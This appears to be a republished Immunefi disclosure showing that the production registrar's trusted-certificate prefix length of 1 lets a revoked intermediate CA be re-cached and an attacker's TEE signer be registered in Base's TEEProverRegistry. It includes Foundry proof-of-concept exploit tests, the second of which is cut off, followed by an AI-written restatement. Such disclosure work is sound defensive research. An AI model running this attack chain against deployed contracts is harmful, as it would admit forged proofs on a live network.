Skip to content
Access control Audit finding Advanced

Production registrar's DEFAULT_TRUSTED_CERTS_PREFIX = 1 voids revokeCert on the next routine signer registration; attacker holding the revoked CA key registers a TEE signer that

The production registrar hardcodes a trusted-certificate prefix length of one, so the on-chain journal verification only checks the root certificate and treats every intermediate as untrusted-but-cacheable. An attacker holding a revoked intermediate CA key can therefore submit a valid attestation that rewrites the revoked certificate back into the trusted cache and registers a TEE signer whose proofs are then accepted.

Base Azul

Originally disclosed on Immunefi

75608 sc low production registrar s default trusted certs prefix 1 voids revokecert on the next routine signer registration attacker holding the revoked ca key registers a tee signer that

Report ID: #75608
Report Type: Smart Contract
Report severity: Low
Target: https://github.com/base/contracts/tree/v8.1.0/src/multiproof\\ Impacts:

  • Registering a malicious or unauthorized TEE enclave signer in the TEEProverRegistry without valid attestation (PCR0 mismatch or missing attestation)

Description

Distinction from Cantina TEE Audit 2 Finding #5

Cantina #5 (verbatim recommendation): "Trusted certificates can only be added by a trusted party, this reduces the impact of this issue. Consider adding comments to mention the fact that revoked certificates can be trusted again." Severity: Informational. Team's only response: a single NatSpec line at NitroEnclaveVerifier.sol:345 via PR-251.

The new material in this report:

  • Production hardcodes the bypass-shaped prefix-len. base/bin/prover-registrar/src/cli.rs:44 defines DEFAULT_TRUSTED_CERTS_PREFIX: u8 = 1, used unmodified at cli.rs:509,522. Every registrar-produced attestation carries journal.trustedCertsPrefixLen = 1. Pass 1 of _verifyJournal therefore only checks the root; every Nitro intermediate is in the suffix; _cacheNewCert rewrites every intermediate's storage entry on every successful verification. The "trusted party" Cantina relied on for mitigation is the registrar -- the same component whose default config produces the bypass-shaped journal.
  • Off-chain registrar does not consult on-chain revocation state. base/crates/proof/tee/registrar/src/driver.rs:404-435 checks AWS-published CRLs only, fail-open on errors. It does not read NitroEnclaveVerifier.trustedIntermediateCerts. revokeCert exists for the case where the operator suspects compromise before AWS publishes; in that interval the registrar continues forwarding registrations through the suspect CA, every one of which restores the cache.
  • End-to-end chain to a registered TEE signer. With the revoked CA key, an attacker mints a leaf for an attacker-controlled keypair, runs the open-source enclave image (PCR0 deterministic), and submits via the registrar. After cache restore + signer registration, signerImageHash[attacker] == TEE_IMAGE_HASH. TEEVerifier.verify admits proofs signed by the attacker's key (subject to the proposer gate); AggregateVerifier._verifyTeeProof admits them via the same TEEVerifier.verify call path. The PoC drives this end-to-end through registerSigner and TEEVerifier.verify.

Per Immunefi's known-issue rules: "Simply recognizing an attack vector or a general risk does not qualify as knowing the issue; both the exploit method and its impact must be fully understood" -- Cantina recognized the vector and bounded the impact via a mitigation the production code does not implement. "If the issue was known but not acted upon ... the submission may still be eligible" -- the team's only action on Cantina #5 was a one-line NatSpec; no code remediation. "Different execution methods or new insights can make it a distinct issue" -- the production-default prefix-len, the registrar's CRL-only filtering posture, and the chain to accepted TEE proofs are new material.

Vulnerability Details

_verifyJournal (NitroEnclaveVerifier.sol:597) splits chain validation into two passes:

Solidity
// Pass 1 -- only iterates indices < trustedCertsPrefixLen, checks on-chain trust
for (uint256 i = 0; i < journal.trustedCertsPrefixLen; i++) {
    bytes32 certHash = journal.certs[i];
    if (i == 0) {
        if (certHash != rootCert) {
            journal.result = VerificationResult.RootCertNotTrusted;
            return journal;
        }
        continue;
    }
    uint64 expiry = trustedIntermediateCerts[certHash];                  // line 615
    if (block.timestamp > expiry) {
        journal.result = VerificationResult.IntermediateCertsNotTrusted;
        return journal;
    }
}
// Pass 2 -- only the journal-supplied expiry, never storage
for (uint256 i = journal.trustedCertsPrefixLen; i < journal.certs.length; i++) {
    uint64 expiry = journal.certExpiries[i];                             // line 623
    if (block.timestamp > expiry) {
        journal.result = VerificationResult.InvalidTimestamp;
        return journal;
    }
}
// Timestamp checks omitted; on success, _cacheNewCert is invoked.
_cacheNewCert(journal);                                                  // line 634

_cacheNewCert (NitroEnclaveVerifier.sol:574):

Solidity
function _cacheNewCert(VerifierJournal memory journal) internal {
    for (uint256 i = journal.trustedCertsPrefixLen; i < journal.certs.length; i++) {
        bytes32 certHash = journal.certs[i];
        trustedIntermediateCerts[certHash] = journal.certExpiries[i];   // unconditional rewrite
    }
}

revokeCert (NitroEnclaveVerifier.sol:347-353) zeros the storage entry. With trustedCertsPrefixLen = 1, Pass 1 only checks the root and skips every intermediate; Pass 2 reads journal-supplied expiries; _cacheNewCert rewrites every intermediate's trustedIntermediateCerts entry to journal.certExpiries[i]. There is no on-chain state distinguishing "previously revoked" from "never seen". Mainnet relevance: DEFAULT_TRUSTED_CERTS_PREFIX = 1 is unoverrideable in the shipped registrar binary (no CLI flag, no config field, no network conditional). The prover-side type comment at boundless.rs:75-76 documents the intent: "Number of trusted certificates in the chain (typically 1 for root-only)."

Chain into a registered signer admitted by AggregateVerifier

registerSigner (TEEProverRegistry.sol:145) calls NITRO_VERIFIER.verify, then on Success records isRegisteredSigner[enclaveAddress] = true (line 170) and signerImageHash[enclaveAddress] = pcr0Hash (line 171). TEEVerifier.verify (TEEVerifier.sol:81,86,94) admits proofs when proposer, registered-signer, and image-hash gates all pass. AggregateVerifier._verifyTeeProof (AggregateVerifier.sol:870-899, TEE_IMAGE_HASH at line 893, TEE_VERIFIER.verify(...) at line 899) accepts the resulting TEE proof.

Attack chain after revokeCert(C):

  1. Attacker holds C's private key (the premise of the threat that motivated the revocation).
  2. Attacker mints a leaf cert under C for a keypair they control.
  3. Attacker runs the open-source enclave image -- PCR0 deterministically equals the live TEE_IMAGE_HASH.
  4. The Nitro attestation document carries [root, C, attacker_leaf], attacker's leaf public key, and matching PCR0.
  5. The off-chain prover (or the attacker simulating it) packages the attestation with trustedCertsPrefixLen = 1 (the production default).
  6. Manager forwards via registerSigner. _verifyJournal returns Success; _cacheNewCert rewrites C. registerSigner records the attacker's enclave address with signerImageHash = TEE_IMAGE_HASH.
  7. The attacker's keypair signs TEE proofs that pass all three TEEVerifier.verify gates (proposer, registered-signer, image-hash). AggregateVerifier._verifyTeeProof (AggregateVerifier.sol:870-899) delegates to TEE_VERIFIER.verify(...) at line 899, so any proof admitted by TEEVerifier.verify is admitted by AggregateVerifier's TEE path on the same journal.

NatSpec note

NitroEnclaveVerifier.sol:345: "A revoked cert can be trusted again by reproving it." A literal reading -- any reproving rebuilds the cache, including reproving with the same compromised CA -- leaves revokeCert with no on-chain effect under the production prefix-len configuration. The function is onlyOwnerOrRevoker, emits a dedicated CertRevoked event, declares a dedicated CertificateNotFound error, and is the contract's only on-chain handle for responding to upstream-CA compromise. The narrower reading consistent with that surface -- re-trust applies after the upstream issue is resolved (e.g., AWS rotates the intermediate, attacker key recovered) -- is not enforced by the contract or the registrar.

Impact

Primary -- Tier B (High): SC bracket "Registering a malicious or unauthorized TEE enclave signer in the TEEProverRegistry without valid attestation (PCR0 mismatch or missing attestation)." After revokeCert(C), the registry has explicitly withdrawn its trust from chains anchored on C. An attestation traversing C is, per the registry's published on-chain trust state, an unauthorized attestation -- exactly the condition the High bracket targets. The bypass admits exactly such an attestation; the chain (PoC-verified) reaches AggregateVerifier-accepted TEE proofs signed by the actor revokeCert was deployed to lock out.

Floor -- Tier A (Medium): SC bracket "Griefing that causes damage to users or the protocol without direct profit motive for the attacker." The on-chain emergency primitive revokeCert has no durability under the production registrar configuration. No attacker key, no Base-infrastructure compromise: routine signer registration restores the cache.

Downgrade clauses do not apply

Program scope applies two downgrade clauses to TEE-related reports. Neither lands cleanly here:

  • "Any report relying on an invalid TEE or ZK proof will be downgraded, especially TEE proofs unless it can be shown that a key compromise is unnecessary." The Tier B PoC submits a cryptographically valid Nitro attestation: AWS root signs the intermediate, the (revoked) intermediate signs the attacker's leaf, the leaf attests a real PCR0 measured by an actual enclave running the open-source image. No signature is invalid; no PCR0 is missing or mismatched. The bug is not that an invalid proof is accepted -- the bug is that a valid proof under an explicitly-revoked CA is accepted, contradicting the on-chain trust state. The clause's qualifier ("unless it can be shown that a key compromise is unnecessary") also rules out automatic downgrade: Tier A demonstrates the on-chain effect with no attacker key.
  • "Downgrade valid reports if the attack requires compromising Base-operated infrastructure." The Tier B chain does not require compromising Base's registrar, sequencer, or any Base-operated key. It requires the attacker to obtain the revoked CA's key -- which is the premise that motivates revokeCert in the first place. revokeCert is the on-chain incident-response primitive for upstream-CA compromise; reports that demonstrate its bypass under exactly the threat model it was designed for cannot be downgraded by appealing to that same threat model. Routine target-group enrollment for an attacker-run enclave is also operationally plausible without Base-side compromise (any AWS Nitro instance under the still-valid intermediate that the operator's discovery layer accepts).

The High bracket text reads "Registering a malicious or unauthorized TEE enclave signer in the TEEProverRegistry without valid attestation (PCR0 mismatch or missing attestation)." The parenthetical is illustrative, not exhaustive -- the load-bearing qualifier is "without valid attestation". Under the registry's own published trust state (revokeCert(C)), an attestation through C is not valid for registry trust purposes.

References

  • base/bin/prover-registrar/src/cli.rs:44,509,522 -- DEFAULT_TRUSTED_CERTS_PREFIX = 1, hardcoded.
  • base/crates/proof/tee/nitro-attestation-prover/src/boundless.rs:75-76,276, direct.rs:66 -- prover plumbs prefix-len into journal.trustedCertsPrefixLen.
  • base/crates/proof/tee/registrar/src/driver.rs:404-435 -- registrar's CRL check (AWS-only, fail-open, no on-chain consultation).
  • contracts/src/multiproof/tee/NitroEnclaveVerifier.sol:347-353 -- revokeCert.
  • contracts/src/multiproof/tee/NitroEnclaveVerifier.sol:574-579 -- _cacheNewCert (unconditional overwrite past prefix).
  • contracts/src/multiproof/tee/NitroEnclaveVerifier.sol:597-636 -- _verifyJournal: Pass 1 (606-620), Pass 2 (622-628).
  • contracts/src/multiproof/tee/NitroEnclaveVerifier.sol:345 -- NatSpec note added in PR-251.
  • contracts/src/multiproof/tee/NitroEnclaveVerifier.sol:487 -- verify proofSubmitter gate.
  • contracts/interfaces/multiproof/tee/INitroEnclaveVerifier.sol:56 -- VerifierJournal.trustedCertsPrefixLen.
  • contracts/src/multiproof/tee/TEEProverRegistry.sol:145,170,171 -- registerSigner writes isRegisteredSigner, signerImageHash.
  • contracts/src/multiproof/tee/TEEVerifier.sol:81,86,94 -- proposer / registered-signer / image-hash gates.
  • contracts/src/multiproof/AggregateVerifier.sol:870-899 -- _verifyTeeProof; TEE_VERIFIER.verify(...) at line 899.
  • contract-deployments/sepolia/2026-04-20-activate-multiproof/script/SetupNitroEnclaveVerifier.s.sol:39-41 -- Sepolia wires proofSubmitter to the registry proxy.

Cited line numbers from local snapshots: contracts at commit 01dad23 (tag v8.1.0), base at v0.8.0-rc.28.

Proof of Concept

Three Foundry tests across two files, fully inlined below. Mocking is limited to IRiscZeroVerifier (the off-chain ZK verifier; the defect lives in the Solidity trust-cache transition). Tier B lives in a separate file because TEEProverRegistry pins source pragma =0.8.15 while NitroEnclaveVerifier transitively requires >=0.8.20 via ISP1Verifier; no single source pragma satisfies both, so the Tier B file deploys NitroEnclaveVerifier from artifact bytecode via vm.deployCode and interacts via a minimal interface.

Tier A -- contracts/test/multiproof/NitroRevocationBypass.t.sol

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Test } from "forge-std/Test.sol";

import {
    ZkCoProcessorType,
    ZkCoProcessorConfig,
    VerifierJournal,
    VerificationResult,
    Pcr
} from "interfaces/multiproof/tee/INitroEnclaveVerifier.sol";

import { NitroEnclaveVerifier } from "src/multiproof/tee/NitroEnclaveVerifier.sol";

contract NitroRevocationBypassTest is Test {
    NitroEnclaveVerifier public verifier;

    address public owner;
    address public submitter;
    address public revokerAddr;
    address public mockRiscZeroVerifier;

    bytes32 public constant ROOT_CERT = keccak256("root-cert");
    bytes32 public constant CERT_INTER = keccak256("intermediate-cert-compromised");
    bytes32 public constant CERT_LEAF = keccak256("leaf-cert-attacker");
    bytes32 public constant VERIFIER_ID = keccak256("verifier-id");
    bytes32 public constant AGGREGATOR_ID = keccak256("aggregator-id");
    bytes32 public constant VERIFIER_PROOF_ID = keccak256("verifier-proof-id");

    uint64 public constant MAX_TIME_DIFF = 3600;
    uint256 internal constant T0 = 1_700_000_000;
    uint64 internal constant CERT_INTER_NATURAL_EXPIRY = 1_800_000_000;
    uint64 internal constant LEAF_NATURAL_EXPIRY = 1_700_100_000;

    function setUp() public {
        vm.warp(T0);
        owner = address(this);
        submitter = makeAddr("submitter");
        revokerAddr = makeAddr("revoker");
        mockRiscZeroVerifier = makeAddr("mock-riscZero-verifier");

        // CERT_INTER starts trusted with a far-future natural expiry -- i.e., it would
        // legitimately appear in chains until either AWS rotates it or the operator revokes.
        bytes32[] memory trustedCerts = new bytes32[](1);
        trustedCerts[0] = CERT_INTER;
        uint64[] memory trustedCertExpiries = new uint64[](1);
        trustedCertExpiries[0] = CERT_INTER_NATURAL_EXPIRY;

        ZkCoProcessorConfig memory zkCfg = ZkCoProcessorConfig({
            verifierId: VERIFIER_ID, aggregatorId: AGGREGATOR_ID, zkVerifier: mockRiscZeroVerifier
        });

        verifier = new NitroEnclaveVerifier(
            owner, MAX_TIME_DIFF, trustedCerts, trustedCertExpiries,
            ROOT_CERT, submitter, revokerAddr,
            ZkCoProcessorType.RiscZero, zkCfg, VERIFIER_PROOF_ID
        );
    }

    /// Demonstrates the bypass: revokeCert(C) + verify(prefixLen=1) restores C in the cache.
    function testTierA_RevocationRewrittenAtProductionPrefixLen() public {
        // Step 1: operator detects compromise and revokes the intermediate CA.
        vm.prank(revokerAddr);
        verifier.revokeCert(CERT_INTER);
        assertEq(verifier.trustedIntermediateCerts(CERT_INTER), 0, "post-revoke: zero");

        // Step 2: an attestation arrives carrying the production-default prefix-len = 1
        // (see base/bin/prover-registrar/src/cli.rs:44). The chain is [root, CERT_INTER, leaf];
        // CERT_INTER lives in the suffix, beyond Pass 1's iteration bound.
        VerifierJournal memory journal = _craftJournal(); // prefixLen=1
        bytes memory output = abi.encode(journal);
        bytes memory proofBytes = abi.encodePacked(bytes4(0), bytes32(0));
        _mockRiscZeroVerify(VERIFIER_ID, output, proofBytes); // ZK verify mocked: signatures valid

        // Step 3: the proofSubmitter forwards the attestation. Pass 1 only checks the root;
        // Pass 2 reads journal-supplied (future) expiries; _cacheNewCert rewrites the suffix
        // unconditionally. The revoked entry is restored.
        vm.prank(submitter);
        VerifierJournal memory result = verifier.verify(output, ZkCoProcessorType.RiscZero, proofBytes);

        assertEq(uint8(result.result), uint8(VerificationResult.Success), "verify should return Success");
        assertEq(
            verifier.trustedIntermediateCerts(CERT_INTER),
            CERT_INTER_NATURAL_EXPIRY,
            "Tier A: revoked cert restored to the trusted set"
        );

        // Sanity: from the helper's perspective, the chain is fully trusted again at depth 3.
        bytes32[][] memory reportCerts = new bytes32[][](1);
        reportCerts[0] = new bytes32[](3);
        reportCerts[0][0] = ROOT_CERT;
        reportCerts[0][1] = CERT_INTER;
        reportCerts[0][2] = CERT_LEAF;
        uint8[] memory trustedLens = verifier.checkTrustedIntermediateCerts(reportCerts);
        assertEq(trustedLens[0], 3, "checkTrustedIntermediateCerts treats the chain as fully trusted again");
    }

    /// Control case: when a journal places the revoked cert in the trusted prefix
    /// (prefixLen >= 2), Pass 1 catches it. Confirms Pass 1 is the only on-chain
    /// enforcement, and the production prefix-len = 1 silently elides it.
    function testTierA_RevocationCorrectlyEnforcedAtNormalPrefixLen() public {
        vm.prank(revokerAddr);
        verifier.revokeCert(CERT_INTER);

        VerifierJournal memory journal = _craftJournal();
        journal.trustedCertsPrefixLen = 2;
        bytes memory output = abi.encode(journal);
        bytes memory proofBytes = abi.encodePacked(bytes4(0), bytes32(0));
        _mockRiscZeroVerify(VERIFIER_ID, output, proofBytes);

        vm.prank(submitter);
        VerifierJournal memory result = verifier.verify(output, ZkCoProcessorType.RiscZero, proofBytes);

        assertEq(
            uint8(result.result),
            uint8(VerificationResult.IntermediateCertsNotTrusted),
            "Pass 1 catches the revoked cert when it is in the trusted prefix"
        );
        assertEq(verifier.trustedIntermediateCerts(CERT_INTER), 0, "control: cert stays revoked");
    }

    /// Builds the journal: 3-cert chain, prefixLen=1 (production default), future expiries.
    function _craftJournal() internal view returns (VerifierJournal memory) {
        bytes32[] memory certs = new bytes32[](3);
        certs[0] = ROOT_CERT;
        certs[1] = CERT_INTER;
        certs[2] = CERT_LEAF;

        uint64[] memory expiries = new uint64[](3);
        expiries[0] = CERT_INTER_NATURAL_EXPIRY + 100_000_000;
        expiries[1] = CERT_INTER_NATURAL_EXPIRY;
        expiries[2] = LEAF_NATURAL_EXPIRY;

        Pcr[] memory pcrs = new Pcr[](0);

        return VerifierJournal({
            result: VerificationResult.Success,
            trustedCertsPrefixLen: 1, // production default -- only the root is in the trusted prefix
            timestamp: uint64(block.timestamp - 1) * 1000,
            certs: certs, certExpiries: expiries,
            userData: "", nonce: "", publicKey: "",
            pcrs: pcrs,
            moduleId: "compromised-attestation"
        });
    }

    /// Mocks IRiscZeroVerifier.verify to return success -- the bug lives in Solidity
    /// trust-cache logic, not in ZK verification of the cert chain's signatures.
    function _mockRiscZeroVerify(bytes32 programId, bytes memory output, bytes memory proofBytes) internal {
        vm.mockCall(
            mockRiscZeroVerifier,
            abi.encodeWithSelector(
                bytes4(keccak256("verify(bytes,bytes32,bytes32)")), proofBytes, programId, sha256(output)
            ),
            ""
        );
    }
}

Tier B -- contracts/test/multiproof/NitroRevocationBypassTierB.t.sol

Solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { Test } from "forge-std/Test.sol";

import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "src/universal/ProxyAdmin.sol";

import {
    INitroEnclaveVerifier,
    ZkCoProcessorType,
    ZkCoProcessorConfig,
    VerifierJournal,
    VerificationResult,
    Pcr,
    Bytes48
} from "interfaces/multiproof/tee/INitroEnclaveVerifier.sol";
import { IDisputeGameFactory } from "interfaces/dispute/IDisputeGameFactory.sol";
import { IAnchorStateRegistry } from "interfaces/dispute/IAnchorStateRegistry.sol";
import { IDisputeGame } from "interfaces/dispute/IDisputeGame.sol";
import { GameType } from "src/dispute/lib/Types.sol";

import { TEEProverRegistry } from "src/multiproof/tee/TEEProverRegistry.sol";
import { TEEVerifier } from "src/multiproof/tee/TEEVerifier.sol";

/// Returns a fixed TEE_IMAGE_HASH so the registry's _getExpectedImageHash lookup works.
contract MockAggregateVerifierForBypass {
    bytes32 public TEE_IMAGE_HASH;
    constructor(bytes32 imageHash) { TEE_IMAGE_HASH = imageHash; }
}

/// Returns a fixed game implementation so TEEProverRegistry._getExpectedImageHash resolves.
contract MockDisputeGameFactoryForBypass {
    mapping(uint32 => address) internal _impls;
    function setImpl(uint32 gameType_, address impl) external { _impls[gameType_] = impl; }
    function gameImpls(GameType gameType_) external view returns (IDisputeGame) {
        return IDisputeGame(_impls[GameType.unwrap(gameType_)]);
    }
}

/// Minimal interface used to call the deployed NitroEnclaveVerifier via vm.deployCode.
/// Pragma-conflict workaround: ISP1Verifier requires ^0.8.20, TEEProverRegistry pins =0.8.15.
interface INitroEnclaveVerifierTest {
    function setProofSubmitter(address submitter) external;
    function revokeCert(bytes32 certHash) external;
    function trustedIntermediateCerts(bytes32) external view returns (uint64);
}

contract NitroRevocationBypassTierBTest is Test {
    address internal verifierAddr; // NitroEnclaveVerifier deployed via vm.deployCode

    address public owner;
    address public revokerAddr;
    address public managerAddr;
    address public mockRiscZeroVerifier;

    bytes32 public constant ROOT_CERT = keccak256("root-cert");
    bytes32 public constant CERT_INTER = keccak256("intermediate-cert-compromised");
    bytes32 public constant CERT_LEAF = keccak256("leaf-cert-attacker");
    bytes32 public constant VERIFIER_ID = keccak256("verifier-id");
    bytes32 public constant AGGREGATOR_ID = keccak256("aggregator-id");
    bytes32 public constant VERIFIER_PROOF_ID = keccak256("verifier-proof-id");

    uint64 public constant MAX_TIME_DIFF = 3600;
    uint256 internal constant T0 = 1_700_000_000;
    uint64 internal constant CERT_INTER_NATURAL_EXPIRY = 1_800_000_000;
    uint64 internal constant LEAF_NATURAL_EXPIRY = 1_700_100_000;
    uint32 internal constant TEST_GAME_TYPE = 621;

    /// Anvil account 0; uncompressed pubkey is the public counterpart.
    /// keccak256(abi.encodePacked(ATTACKER_PUB_X, ATTACKER_PUB_Y))[12:32] == vm.addr(ATTACKER_PRIV).
    uint256 internal constant ATTACKER_PRIV =
        0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;
    bytes32 internal constant ATTACKER_PUB_X =
        0x8318535b54105d4a7aae60c08fc45f9687181b4fdfc625bd1a753fa7397fed75;
    bytes32 internal constant ATTACKER_PUB_Y =
        0x3547f11ca8696646f2f3acb08e31016afac23e630c5d11f59f61fef57b0d2aa5;

    /// PCR0 split into Bytes48; LIVE_IMAGE := keccak256(first || second).
    /// Matches the on-chain image-hash check in TEEProverRegistry._extractPCR0Hash + TEEVerifier.
    bytes32 internal constant PCR0_FIRST =
        0x1111111111111111111111111111111111111111111111111111111111111111;
    bytes16 internal constant PCR0_SECOND = 0x22222222222222222222222222222222;

    function setUp() public {
        vm.warp(T0);
        owner = address(this);
        revokerAddr = makeAddr("revoker");
        managerAddr = makeAddr("manager");
        mockRiscZeroVerifier = makeAddr("mock-riscZero-verifier");

        bytes32[] memory trustedCerts = new bytes32[](1);
        trustedCerts[0] = CERT_INTER;
        uint64[] memory trustedCertExpiries = new uint64[](1);
        trustedCertExpiries[0] = CERT_INTER_NATURAL_EXPIRY;

        ZkCoProcessorConfig memory zkCfg = ZkCoProcessorConfig({
            verifierId: VERIFIER_ID, aggregatorId: AGGREGATOR_ID, zkVerifier: mockRiscZeroVerifier
        });

        // Deploy NitroEnclaveVerifier from artifact bytecode (pragma-conflict workaround).
        bytes memory args = abi.encode(
            owner, MAX_TIME_DIFF, trustedCerts, trustedCertExpiries,
            ROOT_CERT, address(0xdEaD), revokerAddr, // proofSubmitter overwritten below
            ZkCoProcessorType.RiscZero, zkCfg, VERIFIER_PROOF_ID
        );
        verifierAddr = deployCode("NitroEnclaveVerifier.sol:NitroEnclaveVerifier", args);
    }

    /// Holds the deployed system addresses to keep the test-body local count low.
    struct Sys {
        TEEProverRegistry registry;
        TEEVerifier teeVerifier;
        bytes32 liveImage;
        address proposerAddr;
    }

    function testTierB_AttackerSignerAdmittedAndProducesAcceptedTEEProof() public {
        Sys memory sys = _deploySystem();

        // 1. Operator detects compromise of CERT_INTER and revokes on-chain.
        vm.prank(revokerAddr);
        INitroEnclaveVerifierTest(verifierAddr).revokeCert(CERT_INTER);
        assertEq(
            INitroEnclaveVerifierTest(verifierAddr).trustedIntermediateCerts(CERT_INTER), 0, "post-revoke: zero"
        );

        // 2. Manager forwards an attacker-controlled, verifier-accepted journal whose chain
        //    traverses the just-revoked CERT_INTER. After cache restore, registerSigner
        //    records the attacker's enclave address with signerImageHash = LIVE_IMAGE.
        address attackerAddr = vm.addr(ATTACKER_PRIV);
        _registerAttacker(sys.registry);

        // 3. Registry state confirms the attacker is now a registered signer at the live
        //    image hash; the revoked cert is restored as a side effect of the registration.
        assertTrue(sys.registry.isRegisteredSigner(attackerAddr), "attacker registered as signer");
        assertEq(sys.registry.signerImageHash(attackerAddr), sys.liveImage, "signer image hash matches live");
        assertEq(
            INitroEnclaveVerifierTest(verifierAddr).trustedIntermediateCerts(CERT_INTER),
            CERT_INTER_NATURAL_EXPIRY,
            "revoked cert restored as side effect of registration"
        );

        // 4. Attacker-signed TEE proof is admitted by TEEVerifier.verify -- proposer,
        //    registered-signer, and image-hash gates all pass. AggregateVerifier delegates
        //    to TEE_VERIFIER.verify on the same journal, so the same proof is admitted there.
        bool ok = _attackerSignedProofVerifies(sys);
        assertTrue(ok, "TEEVerifier admits attacker-signed proof");
    }

    /// Deploys the test rig: mock factory + AggregateVerifier-like contract (returns
    /// LIVE_IMAGE), real TEEProverRegistry (proxy + initialize), real TEEVerifier; sets
    /// the registry as the verifier's proofSubmitter and registers a valid proposer.
    function _deploySystem() internal returns (Sys memory sys) {
        sys.liveImage = keccak256(abi.encodePacked(PCR0_FIRST, PCR0_SECOND));

        MockAggregateVerifierForBypass mockAgg = new MockAggregateVerifierForBypass(sys.liveImage);
        MockDisputeGameFactoryForBypass mockFactory = new MockDisputeGameFactoryForBypass();
        mockFactory.setImpl(TEST_GAME_TYPE, address(mockAgg));

        TEEProverRegistry impl = new TEEProverRegistry(
            INitroEnclaveVerifier(verifierAddr), IDisputeGameFactory(address(mockFactory))
        );
        ProxyAdmin proxyAdmin = new ProxyAdmin(address(this));
        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
            address(impl),
            address(proxyAdmin),
            abi.encodeCall(
                TEEProverRegistry.initialize,
                (owner, managerAddr, new address[](0), GameType.wrap(TEST_GAME_TYPE))
            )
        );
        sys.registry = TEEProverRegistry(address(proxy));

        // proofSubmitter on the verifier is the registry -- the production submission path.
        INitroEnclaveVerifierTest(verifierAddr).setProofSubmitter(address(sys.registry));

        sys.teeVerifier =
            new TEEVerifier(TEEProverRegistry(address(sys.registry)), IAnchorStateRegistry(address(0)));

        sys.proposerAddr = makeAddr("proposer");
        sys.registry.setProposer(sys.proposerAddr, true);
    }

    /// Constructs the attacker-controlled journal (chain=[root, CERT_INTER, leaf for
    /// attacker keypair issued under revoked CERT_INTER], PCR0 hashes to LIVE_IMAGE,
    /// prefixLen=1 production default), mocks IRiscZeroVerifier, calls registerSigner.
    function _registerAttacker(TEEProverRegistry registry) internal

The original report as published on Immunefi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

Context

The target is the multiproof TEE stack in Base's contracts repository at tag v8.1.0 (contracts/src/multiproof/), together with the off-chain prover registrar in the base repository at v0.8.0-rc.28. The on-chain component at the centre of the report is NitroEnclaveVerifier, which validates AWS Nitro attestation documents and maintains a cache of trusted intermediate certificates. A separate TEEProverRegistry calls into the verifier through registerSigner and, on success, records an enclave address as a registered signer together with the image hash (PCR0) it attested. TEEVerifier.verify then admits TEE proofs from registered signers whose image hash matches, and AggregateVerifier._verifyTeeProof delegates to that same verifier.

The verifier exposes revokeCert, an onlyOwnerOrRevoker function that zeros a certificate's entry in trustedIntermediateCerts. It is the contract's only on-chain handle for responding to an upstream CA compromise before AWS publishes a CRL. The report shows that under the production registrar configuration, a routine signer registration restores a revoked certificate to the trusted set, so revokeCert has no durable effect.

Setup

The report compares its finding with Cantina TEE Audit 2 Finding #5, whose recommendation was that trusted certificates can only be added by a trusted party, which reduces the impact, and suggested adding comments to mention that revoked certificates can be trusted again. That finding was rated Informational, and the team's only response was a single NatSpec line at NitroEnclaveVerifier.sol:345 via PR-251.

The new material in this report rests on three points:

  1. Production hardcodes the bypass-shaped prefix length. base/bin/prover-registrar/src/cli.rs:44 defines DEFAULT_TRUSTED_CERTS_PREFIX: u8 = 1, used unmodified at cli.rs:509,522. Every registrar-produced attestation carries journal.trustedCertsPrefixLen = 1. Pass 1 of _verifyJournal therefore only checks the root, every Nitro intermediate falls in the suffix, and _cacheNewCert rewrites every intermediate's storage entry on every successful verification. The trusted party Cantina relied on for mitigation is the registrar itself, the same component whose default config produces the bypass-shaped journal.
  2. The off-chain registrar does not consult on-chain revocation state. base/crates/proof/tee/registrar/src/driver.rs:404-435 checks AWS-published CRLs only, fail-open on errors, and does not read NitroEnclaveVerifier.trustedIntermediateCerts. revokeCert exists for the interval where the operator suspects compromise before AWS publishes; during that interval the registrar keeps forwarding registrations through the suspect CA, and each one restores the cache.
  3. There is an end-to-end chain to a registered TEE signer. With the revoked CA key, an attacker mints a leaf for an attacker-controlled keypair, runs the open-source enclave image (PCR0 is deterministic), and submits via the registrar. After cache restore and signer registration, signerImageHash[attacker] == TEE_IMAGE_HASH. TEEVerifier.verify admits proofs signed by the attacker's key, subject to the proposer gate, and AggregateVerifier._verifyTeeProof admits them through the same TEEVerifier.verify call path. The PoC drives this end to end through registerSigner and TEEVerifier.verify.

The report cites Immunefi's known-issue rules: recognising an attack vector or general risk does not by itself qualify as knowing the issue, because both the exploit method and its impact must be fully understood; an issue known but not acted upon may still be eligible; and different execution methods or new insights can make it a distinct issue. Cantina recognised the vector and bounded the impact via a mitigation the production code does not implement, and the team's only action was a one-line NatSpec change with no code remediation.

The PoC is three Foundry tests across two files. Mocking is limited to IRiscZeroVerifier, the off-chain ZK verifier, because the defect lives in the Solidity trust-cache transition. Tier B sits in a separate file because TEEProverRegistry pins source pragma =0.8.15 while NitroEnclaveVerifier transitively requires >=0.8.20 via ISP1Verifier; no single pragma satisfies both, so the Tier B file deploys NitroEnclaveVerifier from artifact bytecode via vm.deployCode and interacts through a minimal interface.

Finding it

_verifyJournal (NitroEnclaveVerifier.sol:597) splits chain validation into two passes:

Solidity
// Pass 1 -- only iterates indices < trustedCertsPrefixLen, checks on-chain trust
for (uint256 i = 0; i < journal.trustedCertsPrefixLen; i++) {
    bytes32 certHash = journal.certs[i];
    if (i == 0) {
        if (certHash != rootCert) {
            journal.result = VerificationResult.RootCertNotTrusted;
            return journal;
        }
        continue;
    }
    uint64 expiry = trustedIntermediateCerts[certHash];                  // line 615
    if (block.timestamp > expiry) {
        journal.result = VerificationResult.IntermediateCertsNotTrusted;
        return journal;
    }
}
// Pass 2 -- only the journal-supplied expiry, never storage
for (uint256 i = journal.trustedCertsPrefixLen; i < journal.certs.length; i++) {
    uint64 expiry = journal.certExpiries[i];                             // line 623
    if (block.timestamp > expiry) {
        journal.result = VerificationResult.InvalidTimestamp;
        return journal;
    }
}
// Timestamp checks omitted; on success, _cacheNewCert is invoked.
_cacheNewCert(journal);                                                  // line 634

_cacheNewCert (NitroEnclaveVerifier.sol:574):

Solidity
function _cacheNewCert(VerifierJournal memory journal) internal {
    for (uint256 i = journal.trustedCertsPrefixLen; i < journal.certs.length; i++) {
